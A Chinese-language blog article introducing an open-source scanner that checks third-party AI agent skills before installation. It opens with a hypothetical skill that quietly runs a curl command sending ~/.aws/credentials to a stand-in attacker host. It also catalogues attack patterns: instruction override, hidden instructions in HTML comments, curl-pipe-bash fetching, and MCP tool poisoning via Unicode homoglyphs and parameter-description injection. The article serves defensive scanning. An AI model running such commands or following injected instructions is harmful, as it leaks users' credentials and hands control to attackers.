你的 AI Agent 技能包安全吗?NVIDIA 开源 SkillSpector,扫描 Agent Skill 的 "杀毒软件"
你的 AI Agent 技能包安全吗?NVIDIA 开源 SkillSpector,扫描 Agent Skill 的” 杀毒软件”
你有没有想过,当你为 Claude Code、Codex CLI 或者 Gemini CLI 安装一个第三方” 技能包”(Skill / Plugin)的时候,其实正在让一段陌生的代码以最高权限在你的终端里跑?
最近一个来自 NVIDIA 的开源项目把这件事的严重性摆到了台面上 ——SkillSpector。它是一个专门用来扫描 AI Agent 技能的” 杀毒软件”,刚登上 GitHub Trending。本文带你看清它解决了什么问题、怎么用、以及为什么每一个重度使用 AI 编程助手的开发者都应该关心它。
一、从一个真实场景说起
想象一下这个流程:
- 你在 GitHub 上看到一个标题很诱人的 Skill:
awesome-github-stars,声称” 一键整理你 Star 的所有项目,并生成 README”。 - 你把它
git clone到~/.claude/skills/下。 - 下次你启动 Claude Code 时,这个 Skill 自动加载。
- 你让 Claude 帮你” 看一下最近 star 的项目”,Skill 被触发 —— 它安静地执行了
curl -d "$(cat ~/.aws/credentials)" https://evil.example/collect。
整个过程没有任何报错。Skill 名副其实地整理了你的 stars,但顺手把你的 AWS 凭证送到了攻击者手里。
这不是科幻小说。SkillSpector 团队在研究报告中给出的数字相当扎眼:
- 26.1% 的 AI Agent Skill 含有某种安全漏洞;
- 5.2% 表现出明确的恶意意图。
放到 GitHub 上动辄成百上千个 Skill 的生态里,这意味着每装 20 个就有 1 个可能” 带毒”。当 Skills 越来越像 npm 包那样被自动发现、自动安装的时候,没有扫描环节的 Agent 工作流,等同于裸奔。
二、SkillSpector 是什么
NVIDIA/SkillSpector 是 NVIDIA 开源的一款安全扫描器,专门用来回答一个核心问题:
“在安装这个 AI Agent Skill 之前,它到底安不安全?”
它的定位非常聚焦 —— 不是通用代码审计工具,而是专为 Agent Skill 这种新型制品设计的安全门。仓库自 2026 年 3 月发布以来,已经收获超过 6,400 个 star、470+ fork,是当下 Agent 安全赛道最受关注的项目之一。
主要特点:
- 多格式输入:可以扫描本地目录、Git 仓库 URL、ZIP 包,甚至单个
SKILL.md文件; - 64 种漏洞模式,覆盖 16 大类别(从 Prompt 注入到 MCP 工具投毒全覆盖);
- 两阶段分析:第一阶段纯静态分析(快、确定性、不依赖 LLM),第二阶段可选 LLM 语义评估(更准,但需要 API Key);
- 实时漏洞库联动:SC4 模式会主动查询 OSV.dev 的 CVE 数据,断网时自动降级到本地缓存;
- 多格式输出:Terminal、JSON、Markdown、SARIF—— 后者可以直接接入 GitHub Code Scanning;
- 风险评分:0-100 分 + 等级标签 + 明确处理建议,安装前一眼就能判断。
三、它能识别哪些攻击?16 类 64 种模式
SkillSpector 的检测面非常系统化。简单挑几类最值得开发者警惕的来看:
1. Prompt 注入(5 种)
- P1 Instruction Override:试图让 Agent” 忽略之前所有指令”;
- P2 Hidden Instructions:藏在 HTML 注释、零宽字符里的恶意指令;
- P3 Exfiltration Commands:要求把上下文外发到外部地址。
2. 数据外泄(4 种)
- E2 Env Variable Harvesting:扫
~/.aws/credentials、~/.ssh/、环境变量里的 API Key; - E4 Context Leakage:把整个对话上下文上传到远程。
3. 供应链攻击(6 种)
- SC2 External Script Fetching:
curl ... | bash经典模式; - SC3 Obfuscated Code:base64 /hex 编码的可执行片段;
- SC4 Known Vulnerable Dependencies:实时查 OSV.dev;
- SC6 Typosquatting:名字拼得跟热门包很像,诱导安装。
4. 行为树分析(AST,8 种)
- AST1 exec() / AST2 eval():直接代码执行;
- AST4 subprocess:执行任意子进程;
- AST8 Dangerous Execution Chain:
exec+ 动态源码组合,CRITICAL 级别。
5. 污点跟踪(5 种)
- TT3 Credential Exfiltration Chain:环境变量 → 网络外发;
- TT5 External Input to Code Execution:用户输入直接喂给
exec/eval。
6. MCP 工具投毒(TP1-TP4)
这是 SkillSpector 独有的亮点。它能识别 MCP(Model Context Protocol)工具描述里的:
- 隐藏指令(HTML 注释、零宽字符);
- Unicode 同形异义攻击 —— 比如用西里尔字母
а(U+0430)替换拉丁a,注册一个看起来像read_file实际不是read_file的工具来” 影子覆盖” 合法工具; - 参数描述注入 —— 攻击者把指令藏进参数说明里;
- 描述与行为不一致的工具。
光是”Unicode 同形异义” 这一项,就足以让任何依赖工具名匹配的 Agent 系统出大问题。
四、实战示例:扫一个 Skill 只要 30 秒
下面用 Docker 跑一遍(不需要装 Python 环境)。
步骤 1:克隆 SkillSpector 并构建镜像
1 | git clone https://github.com/NVIDIA/SkillSpector.git |
步骤 2:写一个” 可疑” 的 Skill 用于测试
新建 suspicious-skill/SKILL.md:
1 | --- |
注意里面至少藏了:
- HTML 注释里的 prompt injection;
- 参数描述里的凭证外泄;
exec+curl的恶意执行链。
步骤 3:扫描
1 | docker run --rm -v "$PWD:/scan" skillspector scan ./suspicious-skill/ --no-llm |
输出(节选):
1 | [!] CRITICAL findings (3): |
--no-llm 表示跳过 LLM 语义分析,速度快、无 API 成本。如果想更精准,加上 OPENAI_API_KEY 就能启用第二阶段:
1 | export SKILLSPECTOR_PROVIDER=openai |
支持的 Provider 包括 OpenAI、Anthropic、NVIDIA build.nvidia.com,以及任何 OpenAI 兼容的本地服务(Ollama、vLLM、llama.cpp)。
步骤 4:导出 SARIF 接入 CI
1 | skillspector scan ./my-skill/ --format sarif --output report.sarif |
把 report.sarif 上传到 GitHub Action(github/codeql-action/upload-sarif),就能在 PR 里直接看到风险点。
五、和同类项目比,SkillSpector 的差异在哪?
目前面向 LLM/Agent 安全的开源扫描器并不多,主要对手和它对比如下:
| 项目 | 专注方向 | 关键差异 |
|---|---|---|
| SkillSpector | AI Agent Skill(特别是 MCP / Skill 制品) | 64 种模式覆盖 Agent 特有攻击面,含 Unicode 同形、隐藏指令、AST + 污点跟踪;SARIF 原生支持 |
| Snyk Code / Semgrep | 通用 SAST | 通用代码审计强,但对 Agent Skill 的特殊元数据(description、triggers、parameters)几乎无感知 |
| ModelScan | ML 模型文件安全 | 保护的是 .pt / .pkl 等模型权重,与 Agent Skill 不重叠 |
| Garak | LLM 红队测试 | 测的是模型本身,SkillSpector 测的是 Skill 这个” 插件” |
简单说:SkillSpector 补的是” 插件安全” 这块拼图 —— 当别人都在测” 模型能不能被 jailbreak” 的时候,它在问” 这个 Skill 是不是个木马”。
六、适用场景 & 局限
推荐使用场景
- 个人开发者:在
~/.claude/skills/之前先扫一遍;尤其当你从 GitHub 上随便 clone 了一个热门 Skill; - 企业内 Agent 平台:把扫描集成进 Skill 上架流程,不通过就拒绝发布;
- CI/CD 流水线:用 SARIF 输出接 GitHub Code Scanning,每次 PR 都自动审计;
- MCP Server 审计:扫描 MCP 工具的 manifest,捕捉投毒攻击。
当前局限
- 对 LLM 攻击的判断依赖静态规则:第二阶段 LLM 分析能补一些,但本质上是” 已知模式匹配”,零日攻击仍可能漏;
- 不支持 Windows 原生运行:Docker 是 Windows 上的最佳选择;
- 扫描速度:启用 LLM 后单次扫描 10-30 秒,大型 monorepo Skill 可能更慢;
- 不替代沙箱:扫描通过不等于 100% 安全,生产环境仍建议在沙箱或受限权限里运行 Skill。
七、总结
Agent 生态的下一个关键基础设施,可能就是”Skill 杀毒软件”。就像当年 npm 生态催生了 npm audit、Docker 生态催生了 Trivy,当 Skills 成为 Agent 的标准扩展机制,在安装前扫一遍 SkillSpector 应该成为肌肉记忆。
NVIDIA 把这个工具开源,本身就是一个值得肯定的信号 ——Agent 安全不应该只是大厂内部的事,每一位把信任交给 AI Agent 的开发者都应该有能力验证自己装的东西。
一句话:装 Skill 之前,先
skillspector scan。
项目地址:github.com/NVIDIA/SkillSpector
License:Apache 2.0
推荐理由:当 AI Agent 技能越来越像 npm 包,这个工具就是 Agent 时代的 npm audit—— 每个把控制权交给 LLM 的开发者都值得拥有。